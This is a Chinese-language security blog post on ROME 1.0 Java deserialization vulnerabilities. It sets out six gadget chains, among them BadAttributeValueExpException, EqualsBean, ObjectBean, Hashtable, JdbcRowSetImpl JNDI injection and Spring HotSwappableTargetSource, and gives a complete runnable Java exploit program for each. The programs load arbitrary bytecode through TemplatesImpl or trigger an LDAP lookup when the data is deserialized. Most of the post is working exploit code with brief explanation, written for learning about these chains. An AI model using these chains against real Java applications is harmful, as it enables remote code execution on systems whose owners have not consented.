ROME反序列化

Last updated on September 27, 2024 am

介绍

ROME是用来处理和操作XML格式的数据的工具,允许我们把XML数据转换成Java中的对象,也支持将Java对象转换成XML数据。

依赖环境

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

漏洞分析

ToStringBeantoString方法中BeanIntrospector.getPropertyDescriptors能够获取指定类的getter方法,并且参数可控,这很容易想到TemplatesImpl类的getOutputProperties这条链实现类加载。

所以接下来只需要找到调用toString的链子就可以了

漏洞利用

BadAttributeValueExpException

不受jdk限制

1
BadAttributeValueExpException.readObject->ToStringBean.toString->TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class EXP1 {
public static void main(String[] args)throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl); //要用Templates.class不能用TemplatesImpl.class
// Method toStringMethod = toStringBean.getClass().getDeclaredMethod("toString", String.class);
// toStringMethod.setAccessible(true);
// toStringMethod.invoke(toStringBean, "111");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SetFieldValue(badAttributeValueExpException,"val",toStringBean);
String s= serialize(badAttributeValueExpException);
deserialize(s);

}

public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

}

EqualsBean

无jdk版本限制,目前这个payload是最短的

1
HashMap.readObject->HashMap.hash->EqualsBean.hashcode->EqualsBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class EXP2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); //要用Templates.class不能用TemplatesImpl.class,
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");

Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
String s=serialize(hashMap);
deserialize(s);


}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

}

ObjectBean

1
HashMap.readObject->HashMap.hash->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class EXP3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); //要用Templates.class不能用TemplatesImpl.class,
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");

Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
String s=serialize(hashMap);
deserialize(s);

}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

}

HashTable

1
Hashtable.readObject->Hashtable.reconstitutionPut->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Hashtable;

public class EXP4 {
public static void main(String[] args) throws Exception {

TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); //要用Templates.class不能用TemplatesImpl.class,
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

Hashtable<Object,Object> hashtable=new Hashtable<>();
hashtable.put(objectBean,"1");
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
String s=serialize(hashtable);
deserialize(s);
}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

JdbcRowSetImpl

jdk版本受jdbc注入的限制

1
HashMap.readObject->HashMap.hash->ObjectBean->ObjectBean.hashcode->ObjectBean.beanHashCode->ToStringBean.toString->JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->JNDI注入链子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.example;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class EXP5 {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1099/Calculator";
jdbcRowSet.setDataSourceName(url);

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,"1"); //要用JdbcRowSetImpl.class不能用JdbcRowSet.class,
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean,"123");

Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,jdbcRowSet);
String s=serialize(hashMap);
deserialize(s);


}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

HotSwappableTargetSource

spring原生链

1
HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->ToStringBean.toString->TemplatesImpl链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class EXP6 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
SetFieldValue(templatesimpl,"_name","aaa");
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\86151\\hexo-blog\\source\\_posts\\ysoserial\\ysoserial\\target\\classes\\Test.class"));
byte[][] codes=new byte[][]{code};
SetFieldValue(templatesimpl,"_bytecodes",codes);
SetFieldValue(templatesimpl,"_tfactory",new TransformerFactoryImpl());
SetFieldValue(templatesimpl,"_transletIndex",1);
ToStringBean toStringBean = new ToStringBean(Templates.class,"1"); //要用Templates.class不能用TemplatesImpl.class

HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Field field = toStringBean.getClass().getDeclaredField("_obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);
String s=serialize(hashMap);
deserialize(s);
}
public static void SetFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static Object deserialize(String data) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(data));
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

这里需要两次put,因为第一次进入putVal的时候tab里面没有元素,导致不能进入else分支(equals所在的分支),需要执行afterNodeInsertion之后将键值对加入tab,所以需要第二次进入putVal

payload缩短

使用Javassist生成的恶意类可以缩短payload,写法参考

参考

https://xz.aliyun.com/t/12768


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/09/23/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!